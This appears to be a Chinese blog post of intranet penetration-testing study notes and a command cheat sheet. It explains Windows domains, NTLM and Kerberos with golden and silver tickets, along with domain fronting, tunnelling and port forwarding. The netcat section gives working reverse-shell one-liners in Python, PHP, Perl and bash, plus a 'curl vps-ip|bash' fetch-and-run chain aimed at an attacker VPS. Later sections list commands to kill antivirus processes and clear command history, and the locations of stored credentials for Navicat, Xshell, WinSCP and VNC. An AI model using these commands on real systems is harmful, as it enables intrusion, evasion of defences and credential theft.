内网学习

Posted by wx_x on 2022-06-15
Words 16.9k and Reading Time 66 Minutes
Viewed Times

这一篇文章可以当作手册,速查命令,特别关于内网信息收集

一些内网攻击思路实战也有记录

内网常见的名字解释

工作组(Work Group)

最常见最简单最普通的资源管理模式,把电脑按照功能分别列入组中。

所有计算机平等,没有上下级管理关系,工作组网络也称之为对等网络

因为其缺乏验证连入电脑的身份,所以只适用于中小型计算机网络

大型网络需要统一的管理和集中的身份验证,并且能够给用户提供方便的搜索和使用网络资源的方式,于是域就出现了

ARP 欺骗DNS 欺骗只在工作组有效

域(Domain)

可理解为工作组的升级版,有诸多规矩来确认入网用户身份,也就是有安全界,域模式下,至少需要一台服务器负责每一台连入网络的电以及用户的验证工作,该服务器称为 域控制器

域控制器(Domain Controller:DC)

域控制器中包含了由这个域的账户,密码,属于这个域的计算机等信息构成的数据库,类似密码本。

工作:当电脑连入网络的时候,域控制器首先需要鉴别这台电脑是否属于这个域的,用户所使用的登录账号,密码是否正确;当以上条件有一样不满足的,DC拒绝该电脑接入网络,起到保护网络资源的作用

意义:正是因为DC可以验证身份,因此是我们渗透测试的首要目标,拿下DC,这个域唾手可得

而想要实现域环境,就必须要计算机中安装活动目录,也可以说如果在内网中的一台计算机上安装了活动目录,那它就变成了域控制器。在域中除了域控制器还有成员服务器客户机独立服务器

父域和子域

在域中建立的域,称为外层域的子域

域树

由多个域组成,域间共享同一表级结构和配置,形成一个连续的名字空间。

树中的域通过信任关系连接起来,活动目录(AD:用于存储信息)包含一个或多个域树。域树中,域层次越深级别越低:“.” ,代表一个层次,

1
2
3
4
5
child.mc.com(2层次)
mc.com(1层次)

mc.com级别高于上
child.mc.com为mc.com的子域

多个域树可以组成一个域林。

域林

由一个或多个没有形成连续名字空间的域树组成,与域树的区别在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成。

但是,域林中所有的域树仍共享同一个表结构,配置和全局目录。

域林中所有域树通过Kerberos(计算机网络授权协议其 特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据TGT (ticket-granting ticket) 访问多个服务,即 SSO (Single Sign On))信任关系建立。

域林的根域是域林中创建的第一个域,域林中所有的域树的根域可以与域林的根域建立可传递的信任关系

1
2
cas.com.cn(林根域)  ,可以创建一个同属于该林的gxu.com.cn
当创建第一个域控制器的时候,就创建了第一个域(也称林根域),和第一个林。

林,是一个或多个共享公共架构全局编录组成,每个域都有单独的安全策略,和与其他域的信任关系;一个单位可以有多个林。**

image-20220125205726005

活动目录(Active Directory)

是Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于Windows Server产品中

目录包含了,有关的各种对象,比如:用户,用户组,计算机,域,组织单位(OU)以及安全策略的信息。目录存储在域控(DC)上,比关切可以被网络应用程序或者服务访问

活动目录就相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置

DMZ(Demilitarized zone)

隔离区;非军事化区。

作用:为了解决安装防火墙后,外网的访问用户不能访问内网中资源,设立的一个非安全系统与安全系统之间的缓冲区。

不同于内网,也不是外网,在DMZ区常防止一些不含机密信息的公用服务器:web server,E-mail server,FTP服务器等。这样来自外网的访问者只能对于DMZ区域的资源进行访问,访问不到内网的机密信息,即使DMZ区域被破坏,内网不受影响。

域内的各种权限

什么是组? 组内包含很多用户,当管理员想要分配某个用户权限时,只需要将用户加入到对应的权限的组里皆可,很高的管理效率;常见的组有:域与本地组,全局组,通用组

域本地组

1
2
成员范围:所有的域
适用范围:自己所在的域

全局组

1
2
成员范围:自己所在的域
适用范围:所有的域

通用组

1
2
成员范围:所有的域;
使用范围:所有的域

A-G-DL-P 策略

A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。

  • A 表示用户账号
  • G 表示全局组
  • U 表示通用组
  • DL 表示域本地组
  • P 表示资源权限

参考:内网渗透测试:内网环境与活动目录基础概念 - FreeBuf 网络安全行业门户

参考:TeamsSix(微信公众号)


windows安全认证机制

域渗透最基础

验证是什么?

认证是决定某人或某事是否确实是它声称的样子

NTLM验证

NTLM认证是什么?

NTLM验证时 NT LAN Manger的缩写,NTLM是基于 挑战/应答的身份验证协议,是Windows NT 早期版本中的标准安全协议。

本地验证

用户密码存储在SAM文件中,可以当作其为密码数据库,所有的操作均在本地进行,NTLM验证机制将用户输入的密码转换为NTLM Hash,然后与SAM文件中的NTLM Hash进行比较。

1
在本地登陆的情况下,操作系统会使用用户输入的密码作为凭据去与系统中的密码进行校验,如果成功的话表明验证通过。操作系统的密码存储在C盘的目录下:%SystemRoot%\system32\config\sam

补充:NTLM Hash:

为了解决 LM Hash 的安全问题,微软于 1993 年在 Windows NT 3.1 中引入了 NTLM 协议。Windows 2000 / XP / 2003 在密码超过 14 位前使用 LM Hash,在密码超过 14 位后使用 NTLM Hash。而之后从 Vista 开始的版本都使用 NTLM Hash。

NTLM Hash 的计算方法为:

  • 将密码转换为 16 进制,进行 Unicode 编码
  • 基于 MD4 计算哈希值

本地验证的一些知识

  • SAM用于存储本地所有用户的凭证信息,但是我们用户不可所以查看系统密码,登陆时系统会自己带着你输入后的并且hash加密过的密码去与SAM中的比较,SAM不存储明文,存的是Hash

  • 认证过程:当用户注销,或者重启,锁屏后,OS会让winlogon显示登录界面,当winlogon.exe收到密码输入后(账号默认上次登录账户),将密码交给lsass进程,该进程会将明文密码Hash加密后对SAM数据库进入比较

    补充

    winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出。

    LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。

    image-20220206115953128

网络验证

先了解:SMB协议:Server Message Block

1
2
3
4
5
6
7
8
SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。
SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。
SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139445。smb喷射
另外,它是一个开放性的协议,允许了协议扩展——使得它变得更大而且复杂;大约有65个最上层的作业,而每个作业都超过120个函数,甚至Windows NT也没有全部支持到,最近微软又把 SMB 改名为 CIFS(CommonInternet File System),并且加入了许多新的特色。

早期SMB协议在网络上传输的是明文口令。后来出现LAN Manager ChallengeResponse 验证机制,简称LM: NTLM

微软提出了windowsNT 挑战/响应 验证机制,简称MTLM。现在已经更新到了V2版本以及加入了Kerberos验证体系(最新)

NTLM协议的认证共需要三个消息完成:协商 —> 挑战 —> 认证

  • 协商:用于确认双方协议版本,加密等级等
  • 挑战:服务器收到客户端的协商消息之后,读取其中内容,选择自己支持的服务内容,加密等级,安全服务等,生成一个随机数challenge,生成其消息返回给客户端,此消息就是 challeng/response的体现
  • 认证:挑战完成后,对结果的验证

基于challange/response机制:一般流程

  1. server接收到client发送的用户名后,判断本地账户列表是否存在该用户:否,则返回认证失败;是,则生成challenge,并且在server本地查找该用户对应的NTLM Hash加密算法,并使用该加密算法加密challenge生成一个Net-NTLM Hash(用于验证)到内存中,发送challenge至client
  2. client接受到challenge后,client将用户输入的密码进行转换,转换为NTLM Hash后,使用该NTLM Hash加密challenge,加密后的结果为response(表现形式:Net-NTLM Hash),最后发送给server
  3. server接收response后,将response与内存中的经过加密后的challenge比较,一致则认证成功,不一致,则认证失败。
  4. 最后server记录至登录日志

image-20220208133105850

1
2
3
NTLM v1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。
Challage:NTLM v1的Challenge有8位,NTLM v2的Challenge为16位。
Net-NTLM Hash:NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。

一些常用端口:(下面也有些许记录)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
53
DNS服务,在使用中需要用到TCP/UDP 53端口,AD域的核心就是DNS服务器,AD通过DNS服务器定位资源
88
Kerberos服务,在使用中需要用到TCP/UDP 88端口,Kerberos密钥分发中心(KDC) 在该端口上侦听Ticket请求
135
135端口主要用于使用RPC协议并提供DCOM服务。
137
NetBIOS-NS(名称服务),在使用中需要用到TCP/UDP 137端口
139
Session Server(会话服务),在使用中需要用到TCP/UDP 139端口,允许两台计算机建立连接
389
LDAP服务(轻量级目录访问协议),在使用中需要用到TCP/UDP 389端口,如果需要使用SSL,需要使用636端口,
445
主要用于共享文件夹或共享打印,存在较多漏洞,如MS08-067、MS17-010
3268 Global Catalog(全局编录服务器),如果需要使用SSL,需要用到3269端口,主要用于用户登录时,负责验证用户身份的域控制器需要通过防火
墙,来向“全局编录”查询用户所隶属的通用组

总结

安全性较差,只需获得一个系统管理员的hash就可以直接拿个DC进行验证授权,账户名,用户名均已知

参考

KERBEROS验证

kerberos看了好多次都没仔细了解过,是我对于学习还不是很深究学习,此乃大忌!

Kerberos是什么呢?

是冥界守护神兽!

Kerberos是一种网络认证协议,一种独立于主机操作系统的认证方式(独立=不依赖),无需基于主机地址的不信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意读取,篡改数据,换句话说,完全Kerberos认证完全是从一个不安全的网络出发进行安全认证的,拥有第三方信托机构,组成信任体系clientserverKDC(Key Distribution Center:密钥分发中心)

KDC:物理结构看,KDC包含AS和TGS

1
2
3
4
5
6
7
8
9
10
11
DC=AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)

AD,全称叫 Account Database,被称作活动目录数据库,存放在域控 NTDS.DIT 文件中,存储域中所有用户的用户名和对应的 NTLM Hash(对应加密方式,具有独特性),KDC 可以从 AD 中提取域中所有用户的 NTLM Hash,这是 Kerberos 协议能够成功实现的基础。

TGS,全称叫 Ticket Granting Service:票据授予服务,也是 KDC 的组件之一,从 AS 那里拿到 TGT 之后,TGS 再发出对某个特定服务或服务器访问的 Ticket,这个 Ticket 允许client对某个服务访问。

AS,全称叫 Authenication Service:身份验证服务,是 KDC 的组件之一,处理初始请求并负责发出 TGT 给 Client,用来完成对 Client 的身份验证。

TGT (Ticket Granting Ticket):用来获取 Ticket 的临时凭证:黄金票据(AS 身份认证服务提供的票据,称为黄金票据)也就是TGT:该Ticket 是用来访问某种服务所必须使用的票据(下图的第2步骤返回的票据,用于申请TGS授权),存储在内存,默认有效期为 10 小时。

Client 密钥 TGS 密钥 和 Service 密钥 均为对应用户的 NTLM Hash

认证过程

Kerberos 认证系统中,用户首先向认证服务器申请初始票据,然后票据授权服务器 (TGS) 获得会话密码。(熟悉的第三方)

Client 密钥 TGS 密钥 和 Service 密钥 均为对应用户的 NTLM Hash,这三个 NTLM Hash 的唯一作用是确1保会话密钥 Sessionkey 的安全传输

了解了Kerberos的基本结构,现在看看上图,就是最概括的认证结构图,但是其中细节值得我深究一下,其详细:

  • 用户登录:clientimage-20220209122720143

  • 请求身份验证:AS认证服务器image-20220209123413670

    AS收到用户任认证请求后,根据其中明文用户名信息在库中查询其是否存在

    若用户名存在,根据用户名提取其对应的NTLM Hash作为AS生成client密钥,若clent的密码信息正确,则这个由AS生成的密钥与client生成的密钥是一样的

    AS响应以下消息:
    -Msg A:使用KDC生成的Client密钥去加密的CLIENT/TGS SESSIONKEY
    -Msg B:使用TGS密钥加密的TGT,client无对应密钥,无法解开,所以这个TGT是去申请TGS授权的;但是可以利用自身的client密钥解开Msg A;

    TGT内容包含:

    [Client/TGS SessionKey]
    Client ID
    Ticket 有效时间
    CLient 地址
    

    总结
    AS 响应的消息中有一条是属于 Client 的,但另外一条却属于 TGS。
    Client/TGS SessionKey 出现了两个 Copy,一个给 Client 端,一个给 TGS 端。
    认证过程中的加密除哈希外均采用的是 对称加密 算法。

  • 请求授权服务image-20220209133555661image-20220209134144383

    总结

    也就是如上图(白底),TGS最后通过AS下发的TGT,来给client授权
    我有一个疑问,如果密码正确,可以直接在AS上验证,然后AS直接给到TGS直接下发授权凭证呢?
    -我自己的想法┗|`O′|┛ 嗷~~,欢迎大家批评;我先想到client的等待时间会加长,这个可以设置一个回显就可以搞定,排除这个,我其次考虑是AS服务器运行能力跟不上,但是AS也没干什么啊,只是验证密码hash和下发凭证给client,我觉得也不是这个,再就是如果,client取消申请,那么如果我假想的一体化KDC就会增加等待时间,会不灵活,再就是如果一体化,那么就需要设置机器识别码,那么就可能需要遍历所有的client去寻找这个TGS的授权申请者:一是不灵活,二是增加授权时间以及提高了运行要求;(这也是我学到这里想的,希望可以学到下面自己上来纠正),其实吧,回过头来看,我的想法有点蠢,因为完全是自己主观去看,其实KErberos验证的真正目的是安全,这样做多一次相互验证,更能保证安全性;(晚点再回过头来看看)

  • 发送服务请求image-20220209141239825

认证过程中防止伪造

票据伪造原理,伪造授权原理

2.2. AS确认client端登录者用户身份伪造原理

  • 伪造黄金票据:若获得用户密码的NTML Hash,则主动使用该用户的NTML Hash作为TGS去加密TGT,此时,该TGT内容可以是任意服务,从AS返回client;此时伪造的TGT发送给KDC(发送至TGS),当KDC通过解密伪造的TGT,获取[CLIENT/TGS SESSIONKEY],也可直接解密Authenticator 1,并完成TGT与其的比对,那么就成功拿到TGS返回的授权凭证,去获得服务

4.1. client向SS发送服务请求伪造原理

  • 伪造白银票据:若获得服务器(SS)的NTML Hash,则可以伪造ticket,看图就知道,ticket是由SS的密钥加密的,所以其中的任何内容,我们都可以伪造,也可也伪造Authenticator 2,当伪造的两个Msg发送至SS端,SS可以正常解锁,完成伪造

总结

使用票据验证方式,并支持双向验证,安全性比NTML高;在网络中传递消息非明文;它将每个用户要记住的使用整个网络的密码数量减少到一个 Kerberos 密码

黄金票据与白银票据的区别

  1. 访问权限不同

    1
    2
    黄金:伪造TGT-获取Kerberos的任何服务(AS认证下发)
    白银;伪造TGS-只获取指定服务
  2. 加密方式不同

    1
    2
    黄金:由Kerberos的Hash加密
    白银:由服务账号Hash加密
  3. 认证流程不同

    1
    黄金:利用过程需要访问域控,而白银不用

参考

域渗透学习(二)Kerberos 协议 | AresX’s Blog (ares-x.com)

深刻理解 windows 安全认证机制 [ntlm & Kerberos] | APT404 - 不作恶

NTML与Kerberors总结

区别


域前置

Domain Fronting

域前置:

1
2
域前置(Domain fronting)
是一种隐藏连接真实端点来规避互联网审查的技术。在应用层上运作时,域前置使用户能通过 HTTPS 连接到被屏蔽的服务(关键点),而表面上像 是在与另一个完全不同的站点通信。

Domain Fronting 的核心技术是 CDN,所以我们先来了解下 CDN 的工作机制。说到CDN就想到NSLOOKUP命令

1
2
NSLOOKUP
可以指定查询的类型,可以查到 DNS 记录的生存时间还可以指定使用哪个 DNS 服务器进行解析。 在已安装 TCP/IP 协议的电脑上面均可以使用这个命令。 主要用来诊断域名系统 (DNS) 基础结构的信息

CDN是来加速网站的,但当同一个cdn下有两个网站,那么当我访问这两个域名时,实际上访问的都是1.1.1.1这个cdn,那么它是如何辨别我的目标域名的呢? 是我浏览器的请求包Host头中填入我们要访问的域名,也就是说,我们可以直接如下图也可也达到想要的效果;

1
curl cdn地址 -H “Host:域名” -v

image-20220223201812931

看图可以知道,要是将我们的teamserver伪装成高信誉域名,那不就可以规避一下审查了吗?

所以域前置的原理是,在Host头中,一般设置为高信誉的域名,达到规避互联网审查的目的

另外,我们也可以知道,因为 CDN 的存在,我们访问网站时访问的实际上只是 CDN,而不是直接和网站的真实服务器进行通信,所以利用 CDN 的同时也可以隐藏我们真实 C2 服务器的 IP。

C2 就是 command&control server,命令控制 服务器image-20220211002720094

一些云服务器的特性:但由于某云有一个有趣的特点:当 CDN 配置中的源 IP 为自己云的服务器时,加速时会跳过对域名的检验,直接与配置中的域名绑定的源服务器 IP 进行通信。利用该特性,我们不需要真正去申请 CDN 时所填写的域名中配置解析相应的 CNAME 了。换言之,只要我们的 C2 服务器属于该云的服务器,那么我们就无需申请域名,只需要在申请 CDN 时随便填一个没有人绑定过的域名就好了,而且这个域名我们可以填成任何高信誉的域名,例如 test.microsoft.com或oops.microsoft.com…:总结,拿自己的云服务器的ip去填申请cdn的源ip就可以不用为云服务器申请域名

其实我还是不是很懂,域前置攻击是怎么样的一个样子,我没有尝试,我是这样认为,域前置就是通过cdn隐藏自己的c2服务器ip,即使在受控端查看程序流量,也只是发现是程序在与高信誉网站通信,emm好像这就是了吧,关键的还是要想办法伪装自己的C2服务器,不然直接被发现了,但是听我黄哥说,cs的流量特征太明显,还是很容易被扫出,最近买了小迪的课,去看看他的免杀,很期待

参考

1
2
3
https://blog.csdn.net/qq_41874930/article/details/107742843
https://cloud.tencent.com/developer/article/1785562?ivk_sa=1024320u
https://www.anquanke.com/post/id/243146

《内网安全攻防》中的网络层隧道协议,书中有关信息收集的内容已经写到内网信息收集里,故现在在此开启书中除了信息收集的内容

网络层隧道技术

ipv6隧道

ipv6报文作为ipv6小岛的货物,通过ipv4的船穿过ipv4的海洋,到达其他ipv6小岛,也就是通过ipv4协议去封装ipv6的报文。

攻击利用原因:边界设备,waf等还不支持过滤ipv6的恶意数据,但是大多数设备却支持ipv6协议,达到攻击目的,即使这些设备支持ipv6但是也不一定可以正确分析ipv4包中的ipv6报文数据

配置隧道与自动隧道

工具:socat,6tunnel,nt6tunnel

防御措施:升级防火墙的设备至安全性达到深度过滤ipv6数据包

inmp隧道

不需要开放端口即可进行通信

工具:icmpsh,pingtunnel-(有点麻烦)

攻击原理:将tcp/udp数据封装到icmp协议的ping命令中,从而过防火墙实现不受限制的网络访问

防御措施:因为出站icmp是被允许的,所以管理员可以通过wireshark监听

  • ping只对应两个icmp包
  • 大于64bit的数据要注意
  • 响应与请求数据包的payload不一致的要拦截
  • 检查icmp包的协议标签,有特征

传输层隧道技术

tcp隧道,udp隧道,端口转发(iptables打开获得权限机器的端口,若内网有waf等,那么tcp这些包就会被大批量过滤掉)

Icx端口转发技术

内网端口转发

首先还是需要获取机器权限,可以上传对应系统的lcx执行文件,其次就是需要vps监听转发来的端口,上述过程都需要下载lcx.exe(win)或portmap(linux)

1
2
3
win
受控端:lcx.exe -slave vps:port 受控端ip 3389
vps: lcx.exe -listen port 6666 6666为vps映射受控端3389的端口

使用mstsc登录远程桌面通过vps的6666

本地端口映射

若防火墙规则防御敏感端口的数据通过,则在受控端

1
lcx.exe -tran 53 受控端ip 3389

3389的数据可以走防火墙允许的53等端口,让我们进行远程桌面连接

netcat

net:网络

cat:读取文件并回显内容

netcat就是读取网络上数据并回显

蛮多功能,参数都一大堆

获取shell

  • 正向shell:客户端获取服务端的shell,两个都在本地完成
  • 反向shell:服务端获取客户端的shell,服务端发shell至本机或vps,这样可以规避掉防火墙入站规则检测

当然,可以nc完成反向,但是有时候,受控端是没有nc的,所以这时候可以使用php,bash,python,perl等来进行反向shell

1
2
python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps-ip",vps-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
1
2
php反弹shell
php -r '$sock=fsockopen("vps-ip",vps-port);exec("/bin/bash -i <&3 >&3 2>&3");'
1
2
perl反弹shell
perl -e 'use Socket;$i="vps-ip";$p=vps-port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1
2
3
4
5
bash反弹
bash -i >& /dev/tcp/vps-ip/vps-port 0>&1

bash -c "bash -i >& /dev/tcp/vps-ip/vps-port 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
1
2
3
4
5
6
7
Curl配合Bash反弹shell
这里操作也很简单,借助了Linux中的管道。
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/vps-ip/vps-port 0>&1
并开启2333端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl vps-ip|bash

内网代理

环境:kali作为你的攻击机,假设你已经获取内网中一台服务器的shell,但是你想问内网中其他机器,但是你kali是访问不到的,所以你需要通过你获得权限的那台服务器作为跳板去访问另外一台,讲他的shell弹到公网的vps上

条件:可以命令执行被弹shell机子

流程:

攻击机监听指定端口vps-port

被弹shell主机执行监听port

跳板机上执行如下命令

1
nc -v vps-ip vps-port -c 'nc 被弹shell主机ip port'

内网信息收集

主机搜集内容,十分重要喔

1
操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软等。

windows

基本信息收集

whoami /user 查看当前用户
quser 或 qwinsta 查询登录用户
whoami /priv 查看当前用户权限
systeminfo 查看系统信息
netstat -ano 查看本机端口
hostname 机器名
wmic OS get Caption,CSDVersion,OSArchitecture,Version 当前操作系统
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list 查杀软
wmic product get name,version 查看已安装程序
tasklist /v 查看进程(还有参数)
echo %PROCESSOR_ARCHITECTURE% 查看系统结构:x64/86
wmic qfe get Caption,Description,HotFixID,InstalledOn 查询已安装的补丁列表
query termserver 查询远程桌面主机列表
wmic service list brief 查询当前机器的服务信息
wmic startup get command,caption 查看启动项
query session 查询会话
Wmic process where name=“XXX.exe” call terminate 通过WMIC命令来停止运行反病毒服务
https://www.cnblogs.com/-qing-/p/10661480.html WMI在渗透测试的使用
powershell 查询所有安装过的软件及版本
1
2
powershell 查询所有安装过的软件及版本  
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

网络收集

ipconfig /all 列出当前主机详细网络信息
ipconfig /displaydns 列出dns缓存信息
route print 查询路由表
nbtstat.exe ip 探测域内存活主机的一种方式
ICMP协议进行探测 探测域内存活主机的一种方式
VBS脚本 探测域内存活主机的一种方式
arp -a ip 探测域内存活主机的一种方式
arp -a 地址解析协议缓存表
netstat -ano 端口使用情况
net share 或 wmic share get name,path,status 查看共享信息
net view 查看共享资源列表
type c:\Windows\system32\drivers\etc\hosts 查看 host 文件
telnet DC 22 收集域内端口
S 扫描器:适合大网段且windows 2003 server下 收集域内端口
Metasploit auxiliary/scanner/portscan/tcp 收集域内端口

系统日志

1
2
3
4
5
系统日志
查询登录日志语法:wevtutil qe security /f:text /q:*[System[(EventID=4624)]]
查询所有登录、注销相关的日志语法:wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]"
远程查询时在后面加入/r:computer /u:user /p:password 比如查询dc1上的登录注销日志:
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password

获取域用户信息

net view /domain 查询域
net user username 查看某个本机用户的具体信息
net config workstation 查看当前登录域
net user 域用户/domain 获取某个域用户的详细信息
net session 查看谁在本地计算机上使用了资源
net user /domain xxx 1231312 修改域用户的密码,需要域管理员权限
net group 组名 /domain 查看域中某工作组
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net accounts /domain 查询域密码策略
net time /domain 判断主域,因为DC同时作为时间服务器使用
net accounts /domain 查询域密码策略
nltest /domain_trusts 获取域信任信息
nltest /dclist:domain 查询域内的所有DC
nltest /dsgetdc:domain 拿到DC当前的认证信息
nltest /domain_trusts 查询域信任信息
nltest /user:”username” 得到username信息
net group “Domain Controllers” /domain 查看域控制器组
wmic useraccount get /all 获取域内用户详细信息
net localgroup adminstrator 查询本地管理员组用户
net group “domain admins” /domain 查询域管理员用户组
net group “enterprise admins” /domain 查询管理员用户组

操作记录

1
2
3
4
5
查询 powershell 当前窗口历史操作记录:Get-History | Format-List -Property *
删除 powershell 当前窗口历史操作记录:Clear-History
删除 powershell 当前窗口指定 ID 的历史操作记录:Clear-History -Id 3
查看 cmd 的历史操作记录:doskey /h
删除 cmd 的历史操作记录:doskey /reinstall

配置文件路径

IIS 配置文件路径为

1
2
3
%windir%\system32\inetsrv\config\applicationHost.config
使用 appcmd 的方式可以快速导出所需内容:
%windir%\system32\inetsrv\appcmd list site /config %windir%\system32\inetsrv\appcmd list site /config /xml > c:\sites.xml

Navicat的数据库与其路径

1
2
3
4
5
6
7
MySQL	  HKEYCURRENTUSER\Software\PremiumSoft\Navicat\Servers\
MariaDB HKEYCURRENTUSER\Software\PremiumSoft\NavicatMARIADB\Servers\
MongoDB HKEYCURRENTUSER\Software\PremiumSoft\NavicatMONGODB\Servers\
Microsoft SQL HKEYCURRENTUSER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEYCURRENTUSER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEYCURRENTUSER\Software\PremiumSoft\NavicatPG\Servers\
SQLite HKEYCURRENTUSER\Software\PremiumSoft\NavicatSQLite\Servers\

SecureCRT系统版本和路径

1
2
xp/win2003	C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell

1
2
3
4
Xshell 5	%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
WinSCP
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

VNC

1
2
3
4
RealVNC	    HKEYLOCALMACHINE\SOFTWARE\RealVNC\vncserver	Password
TightVNC HKEYCURRENTUSER\Software\TightVNC\Server Value Password or PasswordViewOnly
TigerVNC HKEYLOCALUSER\Software\TigerVNC\WinVNC4 Password
UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2

btw:

自动化信息收集可以上传一个WMIC脚本上机,该收集后会生成html文件报告
使用Empire:直接看别人文档就好

针对DNS的搜集

NSLOOKUP

nslookup 命令几乎在所有的 PC 操作系统上都有安装,用于查询 DNS 的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。信息安全人员,可以通过返回的信息进行信息搜集。

也可以在信息收集的过程中,使用nslookup来解析域名的ip,用解析得到的ip对ipconfig命令得到的进行对比,从而知道,DNS和DC是不是在一个服务器上

DIG

Dig 也是对 DNS 信息进行搜集的工具,dig 相比 nsllooup 不光功能更丰富,首先通过默认的上连 DNS 服务器去查询对应的 IP 地址,然后再以设置的 dnsserver 为上连 DNS 服务器。

关于定位域管理员的工具

内网渗透测试的需求是,在内网环境中,得到特定的用户权限或者机器权限,从而获得特定的资源,对内网进行评估

两种方式

  • 会话:域内每台机器的登录会话
  • 日志:本地机器的管理员日志

常用的定位工具有:

  • psloggedon.exe

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    psloggedon [-] [-l] [-x] [\\computername|username]

    -:显示支持的选项和用于输出值的单位。
    -l:仅显示本地登录,不显示本地和网络资源登录。
    -x:不显示登录时间。
    \\computername:指定要列出登录信息的计算机的名称。
    Username:指定用户名,在网络中搜索该用户登录的计算机。

    指定要列出登录信息的计算机的名称
    - PsLoggedon.exe \\win-7

    psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录,其原理是通过检 验注册表里 HKEY_USERS 项的 key 值来查询谁登录过机器(同样调用了 NetSessionEnum API), 某些功能需要拥有管理员权限才能使用。下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

  • PVEFindADUser

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    pveFindADUser.exe <参数>

    -h:显示帮助。
    -u:检查是否有更新版本的实用程序。
    -current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
    -last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如 果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机.根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。
    -noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
    -target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定此参数,则后跟一个由逗号分隔的主机名列表。

    获取所有目标计算机上当前登录的所有用户
    - pveFindADUser.exe -current
    指定了用户名(DOMAIN\Username),则显示该用户登录的计算机
    - pveFindADUser.exe -current hacker\zhiqiu

    pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在 特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账 户。运行该工具的计算机需要具有.NET Framework 2.0,并且需要具有管理员权限。下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

  • Netview

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    netview.exe <参数>

    -h:显示帮助菜单。
    -f filename.txt:指定从中提取主机列表的文件。
    -e filename.txt:指定要排除的主机名文件。
    -o filename.txt:将所有输出重定向到文件。
    -d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
    -g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
    -c:检查对已找到共享的访问权限。

    指定从中提取主机列表的域。如果没有指定,则使用当前域
    - netview.exe -d

    netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话, 利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。同时,netview.exe 能够 查询共享入口和有价值用户下载地址: https://github.com/mubix/netview (需编译) || 下载地址:https://malicious.link/projects/netview.exe (自翻)

  • Netsess

    1
    2
    3
    4
    查看当前会话连接
    - netsess.exe 主机名
    查询每个DC
    - netsess -h

    下载地址:http://www.joeware.net/freetools/tools/netsess/index.htm

  • PowerView脚本

    1
    2
    Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。
